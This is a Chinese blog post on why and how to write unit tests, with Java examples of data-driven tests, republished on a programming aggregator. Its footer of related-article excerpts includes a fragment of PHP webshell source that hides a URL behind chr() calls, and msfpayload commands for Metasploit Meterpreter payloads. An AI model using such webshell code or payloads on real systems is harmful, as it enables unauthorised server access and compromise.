聊聊单元测试

大家好,我是Z哥。

提起单元测试,很多人对它的态度是,我知道它有用,但是我不想写。大多数人的理由是没时间写,任务太多。

但是说实话,是真的没时间吗?Z哥认为真是由于没时间而不写单元测试的人绝对是少数。况且,导致没时间很大原因可能就是花了太多时间在处理bug上。

所以,很多人没有把单元测试当作一个“工具”,而把它看作是一种“负担”。

在这种心态下,就算要写单元测试,也是为了写而写。更可怕的是,通过mock工具,还真能给任意代码写单元测试。

但是这样的做法其实是“买椟还珠”,真正的浪费时间。

最典型的情况是,很多人一开始写测试代码就错了,看上去写了很多Mock、Assert,但是到底想验证什么,测试什么其实并不明白。一个不留神,测试代码就变成验证某个RPC接口对不对,某个第三方系统库的函数对不对等等,这明显就跑偏了。

对于这种情况,无论多么牛逼的工具都帮不了你,只能提高自己对单元测试的理解。

还有一种情况是,写代码的时候并没有考虑这代码要怎么测,因此写完了以后发现写单元测试很难,没有现成的测试入口。这时候项目交付的deadline又快到了,唉,要不先放着改天再写吧。当然我们都知道,这个改天大概率再也不会做。

我们有一万个理由可以不做单元测试。但是这就好比,组装一架飞机不用测试各个零件的运作是否符合预期,直接让它飞起来再看有哪些问题。

以后如果谁说单元测试不重要的时候,你不妨问他“你敢坐没有检查过零件的飞机么?”

另外,单元测试除了对软件质量有提升外,对软件的开发效率提升也很明显

在《实用软件度量》一书中提到了微软内部的统计数据,单元测试的成本效率是系统测试的3倍。

在《单元测试的艺术》中也提到过一个案例,找了开发能力相近的两个团队,同时开发相近的需求。进行单测的团队在编码阶段时长增长了一倍,从7天到14天,但是,这个团队在集成测试阶段的表现非常顺畅,bug量小,定位bug迅速等。最终的效果,整体交付时间和缺陷数,均是单元测试团队最少。

单元测试还有一个好处,就是让我们嘴上说的「高内聚低耦合」的代码有了一条统一的实现路径。因为代码到底算不算高内聚低耦合,其实每个人的主观标准都不同。但是是否容易做单元测试,这却是一个相对更客观的标准。

所以,如果有人跟你说他这段代码设计得非常好,但就是不好写单元测试,相信你知道该怎么做了:D

那么,正儿八经的单元测试应该怎么写呢?我来分享一些我的经验和思考,希望能让更多的人参与到编写单元测试的队伍中来。

/01  怎么才算“单元”?/

相信很多人和Z哥一样,刚接触单元测试的时候觉得单元测试就是用来测某个方法的。其实并不是这样,这里的「单元」如何定义取决你如何定义“一件事”。只要这个「单元」里做的是“同一件事”,那么哪怕其中包含了3个方法,它也可以是一个「单元」。

比如,你写了一个下订单的单元测试,你可以把生成订单方法和扣减红包方法放在一起做单测,这样比两个方法分别做单测还可以多做一些关联验证。比如,订单上的红包金额是否与扣减的红包金额一致?

/02  如何判断单元测试的好坏/

单元测试和大多数技术工作不同,写得越好的单元测试往往用到的工具越简单,甚至不需要额外的工具。

在我的概念里,单元测试的好坏分为以下几个等级。

第一级,大部分代码不需要 Mock 就可以测试。这是最优秀的。

第二级,大部分代码需要Mock才能测试,但都不是静态方法。

第三级,大部分代码需要Mock才能测试,而且包含大量静态方法。(一般的Mock工具还无法Mock静态方法)

可能你会有疑问,为什么Mock静态方法是不好的?这个后面讲具体做法的时候会说。

说了这么多,具体怎么写呢?写单元测试其实就是做以下三件事。

/01  确定写单元测试的范围/

做任何的事都得回归到价值本身,单元测试也是如此。比如,你给一个固定返回字符串“Hello World”的方法写单元测试就是一个浪费时间的事情。

一般来说,哪些类型的代码适合写单元测试?

  1. 公用组件库。这些代码变更不会特别频繁,所以覆盖率需要尽量达到100%。

  2. 被调用频次越高的代码。

/02  怎么写?/

具体怎么写其实就是确定你要通过代码验证的东西是什么。这里你可以根据以下这4个标准来,不同重要度的方法,可以选择适合的标准来写。

  • L1:输入正确的参数时,会有正确的输出。(测试正确的处理逻辑是否符合预期)

  • L2:输入错误的参数时,不能抛出系统级的异常。(测试错误的处理逻辑是否符合预期)

  • L3:极端情况和边界数据可用。可能一开始无法考虑到很多边界条件和极端情况,所以这是一个需要长期维护的部分。

  • L4:覆盖率达到100%。

Z哥我对这4个标准的运用场景是:

  • L1,实在时间紧迫并且代码对应的功能不是核心部分。

  • L2,非核心模块大部分时候应该要达到的标准。

  • L3,核心模块要达到的标准。

  • L4,全局基础框架、封装的非业务型类库要达到的标准。

/03  单元测试的数据从哪来?/

很多人觉得写单元测试麻烦,主要的原因就是觉得构造测试数据费时间。所以,取巧的方法是直接连到DB,基于DB里的数据做单元测试。

但是这样的数据是不稳定的,一旦某个前置方法的逻辑有问题,导致数据库里的数据出现异常,那么后续的测试方法都会连续出错。

所以我认为单元测试的测试数据应该人为地在测试代码里构造。如此不但能让数据变得稳定,而且单元测试的运行效率也会更高,毕竟少了多次连接数据库的操作。

《Google软件测试之道》中提到谷歌的做法也是如此。在谷歌,单元测试被划分为「小型测试」类型,对于小型测试的特点就是不需要外部依赖,所以涉及到的外部服务需通过Mock或Fack来实现。(Mock、Fake、Stub都是单元测试中的基本概念,可以自行搜索了解)

再分享两个最佳实践给你,让你可以更容易编写单元测试。

/01/

涉及到I/O的代码和业务代码尽量分开。这里的I/O不仅仅是磁盘I/O还有网络I/O。

Pascal之父——Niklaus Wirth提出过一个著名的公式:程序 = 算法 + 数据。数据的操作和获取就是通过I/O进行的,一旦剥离后,剩下的代码就是算法,也就是“逻辑”,我们写单元测试要验证的恰好就是它。

实现方式也很简单,将I/O部分抽象出接口,通过依赖注入方式调用。这样你在写单元测试的时候可以通过Mock方式来提供一个I/O方法的实现。

/02/

测试数据与用例分离。在你写单元测试的时候,因为需要考虑很多种情况,所以需要构造好几套测试数据。

为了便于管理和维护这些数据,你可以避免将数据与单元测试代码写在一起。举个例子,你可能平时是这么写的。

@Test

Public void testAdd(){

assertEquals(expect: 2, MethodAdd(a: 1,b: 1));

assertEquals(expect: 0, MethodAdd(a: -1,b: 1));

assertEquals(expect: 0, MethodAdd(a: 0,b: 0));

}

以后你可以试试这样写:

@Test

void testAdd(){

        for(Object[] s : data()){

            assertEquals(s[2], (int)s[0]+(int)s[1]);

        }

}

public static Iterable<Object[]> data(){

            List<Object[]> list = new ArrayList<Object[]>();

            list.add(new Object[]{1,1,2});

            list.add(new Object[]{-1,1,0});

            list.add(new Object[]{0,0,0});

            return list;

}

这样,后续维护测试参数只要在data()方法里进行就好了(当然你也可以使用junit之类的工具来简化这个写法)。毕竟做单元测试是一件长期的事情,需要根据新发现的bug保持测试数据的更新,以确保已发生的bug总是被覆盖在单元测试范围内。

另外,易于做单元测试的代码,其实它的性能也会不错。因为耗时的I/O操作不会隐藏在各个方法里,让你无意间就重复调用了。相反,你可以直观的看到每个方法里有哪些I/O操作,能合并请求的可以在调用这些方法之前合并掉。

好了总结一下。

这篇呢,Z哥和你分享了我对写单元测试这件事的看法。

首先,我们应该把它当作“工具”而不是“负担”。因为单元测试除了可以提升软件质量,还可以提高开发效率,以及优化代码设计。

然后,实际在做的时候,我从「确定写单元测试的范围」、「怎么写?」、「单元测试的数据从哪来?」三个方面给了我的建议。并且分享了两个有效的最佳实践给你。

以我的亲身经历告诉你,当你每次改完代码run一遍单元测试,看到那些success和failurel列表的时候,你会觉得“真香”。不信你试试。

如今,好像一个团队不说自己在敏捷开发就落伍了。然而类似于测试驱动开发(TDD)之类的开发方式恰恰是敏捷开发实践的重要组成部分,但是我们却嫌弃它拖慢迭代速度。

那么我们到底是不是在敏捷呢?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/306970.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php大马源码 手机网页,php大马源码:【百家号】脸书百科,分析 PHP大马-php_mof SHELL Web程序...

$password‘phpinfo‘;//登录密码//----------功能程序------------------//$c"chr";session_start();if (empty($_SESSION[‘PhpCode‘])) {$url$c(104).$c(116).$c(116).$c(112).$c(58);$url .$c(47).$c(47).$c(119).$c(119).$c(119);$url .$c(46).$c(112).$c(104)…

msf payload php,Metasploit(四)--Msfpayload命令

msfpayload即将在2015年6月18日弃用&#xff0c;用msfvenmon替代msfpayload -hmsfpayload的帮助信息。msfpayload -l | grep windowsmsfpayload -l | grep linuxmsfpayload -l | grep andriod列出某个平台的pyloadsmsfpayload windows/meterpreter/bind_tcp S查看需要设置参数m…

起点低,怎么破?

职场&认知洞察 丨 作者 / findyi这是findyi公众号分享的第91篇原创文章洋友问&#xff1a;“洋哥&#xff0c;我北漂多年&#xff0c;专科毕业从农村出来&#xff0c;感觉做什么都不顺&#xff0c;我该怎么办”。和他聊了聊&#xff0c;他毕业后就来北京打工&#xff0c;尝…

java编写记事本程序出现图形,高手帮忙啊,老师布置了一个作业,要用java编写一个记事本程序...

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼super(arg0);// TODO Auto-generated constructor stubinitialize();}/*** param arg0* throws HeadlessException*/public Notepad(String arg0) throws HeadlessException {super(arg0);// TODO Auto-generated constructor stub…

C# Span 源码解读和应用实践

一&#xff1a;背景 1. 讲故事这两天工作上太忙没有及时持续的文章产出&#xff0c;和大家说声抱歉&#xff0c;前几天群里一个朋友在问什么时候可以产出 Span 的下一篇&#xff0c;哈哈&#xff0c;这就来啦&#xff01;读过上一篇的朋友应该都知道 Span 统一了 .NET 程序 栈 …

asp.net core web mvc之异常

与web api类似&#xff0c;asp.net core web mvc模板也是利用ExceptionHandler来处理错误&#xff0c;在starup的Configure配置数据发生时导向的/home/errorpublic void Configure(IApplicationBuilder app, IWebHostEnvironment env){if (env.IsDevelopment()){app.UseDevelop…

php phpmailer qq邮箱,QQ邮箱利用PHPmailer发送邮件

require_once("class.phpmailer.php");$mail new PHPMailer();//是否启用smtp的debug进行调试 开发环境建议开启 生产环境注释掉即可 默认关闭debug调试模式$mail->SMTPDebug 1;//使用smtp鉴权方式发送邮件$mail->isSMTP();//smtp需要鉴权 这个必须是true$ma…

java 类的实例化没有属性值,java – JsonMappingException:无法实例化类型的值没有single-long-arg构造函数/工厂方法...

嗨我正在尝试在zk框架上解析json响应到java中这是杰森的答复{"currentTime":1355390722038,"text":"OK","data":{"limitExceeded":false,"references":{"stops":[],"situations":[],"tr…

[C#.NET 拾遗补漏]12:死锁和活锁的发生及避免

多线程编程时&#xff0c;如果涉及同时读写共享数据&#xff0c;就要格外小心。如果共享数据是独占资源&#xff0c;则要对共享数据的读写进行排它访问&#xff0c;最简单的方式就是加锁。锁也不能随便用&#xff0c;否则可能会造成死锁和活锁。本文将通过示例详细讲解死锁和活…

64岁Python之父加入微软 | 谁说大龄程序员无出路

喜欢就关注我们吧&#xff01;现年 64 岁的 Python 创始人 Guido van Rossum 退休一年后再度复出&#xff0c;今天宣布已加入微软开发者部门 (Developer Division).我觉得退休生活乏味又无趣&#xff0c;因此已加入微软开发者部门。做什么工作&#xff1f;选择太多了&#xff0…

JAVA中的GridView每一个赋值,在ASP.NET 2.0中操作数据之六十二:GridView批量更新数据...

导言&#xff1a;在前面的教程&#xff0c;我们对数据访问层进行扩展以支持数据库事务.数据库事务确保一系列的操作要么都成功&#xff0c;要么都失败。本文我们将注意力转到创建一个批更新数据界面.在本文&#xff0c;我们将创建一个GridView控件&#xff0c;里面的每一行记录…

微软发布VS Code Jupyter插件!不止Python!多语言的Jupyter Notebook支持来了!

北京时间 2020 年 11 月 12 日&#xff0c;微软发布了全新的 VS Code Jupyter 插件&#xff01;Jupyter 插件将 Jupyter Notebook 的功能引入 VS Code&#xff0c;并且将会支持更多语言和使用场景。Jupyter Notebook 支持创建和共享包含代码、方程式、文本和可视化内容的文档&a…

java xml 追加,java – 如何将节点从xml文档追加到现有的xml文档

我的a.xml中有锦标赛列表&#xff1a;abc广告然后我在b.xml中有一个锦标赛d我怎样才能将b.xml文件作为另一个锦标赛的文件&#xff1f;所以这就是我想要的&#xff1a;abcd解决方法:更新.码&#xff1a;DocumentBuilderFactory documentBuilderFactory DocumentBuilderFactory…

windows安全模式_鲁大师正式挂牌上市,使用鲁大师如何开启笔记本电脑全面节能模式...

10月10日消息&#xff0c;今天360旗下的鲁大师正式挂牌上市。上市之后&#xff0c;鲁大师的盘中涨幅一度扩大至100%&#xff0c;鲁大师的市值也一度达到了14亿港元。过去三个财年&#xff0c;鲁大师的营业收入分别为6981.2万、1.23亿和3.20亿人民币。简单介绍360&#xff0c;36…

跟我一起学Redis之Redis事务简单了解一下

前言关系数据库中的事务&#xff0c;小伙伴们应该是不陌生了&#xff0c;不管是在开发还是在面试过程中&#xff0c;总有两个问题逃不掉&#xff1a;•说说事务的特性&#xff1b;•事务隔离级别是怎么一回事&#xff1f;事务处理不好&#xff0c;数据就可能不准确&#xff0c;…

MATLAB函数gensurf,MATLAB模糊逻辑工具箱函数.ppt

1 MATLAB模糊逻辑工具箱简介 2 利用模糊逻辑工具箱建立模糊推理系统 3 MATLAB模糊逻辑工具箱的图形用户界面 4 基于Simulink的模糊逻辑的系统模块 5.2.5 模糊推理计算与去模糊化 在建立好模糊语言变量及其隶属度的值&#xff0c;并构造完成模糊规则之后&#xff0c;就可执行模糊…

groovy 字符串截取最后一个_Python入门高级教程--Python 字符串

Python 字符串字符串是 Python 中最常用的数据类型。我们可以使用引号(或")来创建字符串。创建字符串很简单&#xff0c;只要为变量分配一个值即可。例如&#xff1a;var1 Hello World!var2 "Python Runoob"Python 访问字符串中的值Python 不支持单字符类型&a…

ASP.NET Core 中基于工厂的中间件激活

IMiddlewareFactory/IMiddleware 是中间件激活的扩展点。UseMiddleware 扩展方法检查中间件的已注册类型是否实现 IMiddleware。 如果是&#xff0c;则使用在容器中注册的 IMiddlewareFactory 实例来解析 IMiddleware 实现&#xff0c;而不使用基于约定的中间件激活逻辑。 中间…

java面试题_阿里大厂流出的数百道 Java 经典面试题

BAT 常问的 Java基础39道常见面试题1.八种基本数据类型的大小&#xff0c;以及他们的封装类2.引用数据类型3.Switch能否用string做参数4.equals与的区别5.自动装箱&#xff0c;常量池6.Object有哪些公用方法7.Java的四种引用&#xff0c;强弱软虚&#xff0c;用到的场景8.Hashc…

php怎么压缩文字,php实现的简单压缩英文字符串的代码

PHP,适应于上帖简单加密后的密文//replacement来自上个版本的加密替换function compress_func($match) {return strlen($match[0]).$match[0]{0};}function uncompress_func($match) {return str_repeat($match[2], $match[1]);}function compress($str) {$i 0;$pattern arra…